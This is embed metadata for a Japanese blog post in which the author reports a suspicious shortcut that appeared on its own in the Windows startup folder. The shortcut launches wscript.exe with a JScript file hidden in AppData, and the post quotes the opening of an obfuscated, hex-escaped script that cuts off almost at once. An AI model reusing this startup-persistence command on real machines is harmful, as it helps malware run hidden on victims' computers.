sirakabaararagi https://blog.hatena.ne.jp/sirakabaararagi/ ウェブ家の備忘録 https://sirakabaararagi.hatenablog.com/ 雑記 スタートアップに下記ファイルが勝手に作成されてました。 リンクファイル名 rDyOGTXdJknRYZh リンク先 C:\Windows\system32\wscript.exe /E:jscript "C:\Users\user\AppData\Roaming\rDyOGTXdJknRYZh" リンク先「C:\Users\user\AppData\Roaming\rDyOGTXdJknRYZh」はフォルダじゃなくてファイルみたいです。中身は下記。 try{var HDsKJBmQVBewz81mguvuheavc=['\x6e\x53\x72\x6f\x44','\x63\x6c\x69\x… 190 <iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fsirakabaararagi.hatenablog.com%2Fentry%2F2021%2F09%2F28%2F032735" title="ウィルス？メモ - ウェブ家の備忘録" class="embed-card embed-blogcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 190px; max-width: 500px; margin: 10px 0px;"></iframe> Hatena Blog https://hatena.blog 2021-09-28 03:27:35 rich https://sirakabaararagi.hatenablog.com/entry/2021/09/28/032735 1.0 100%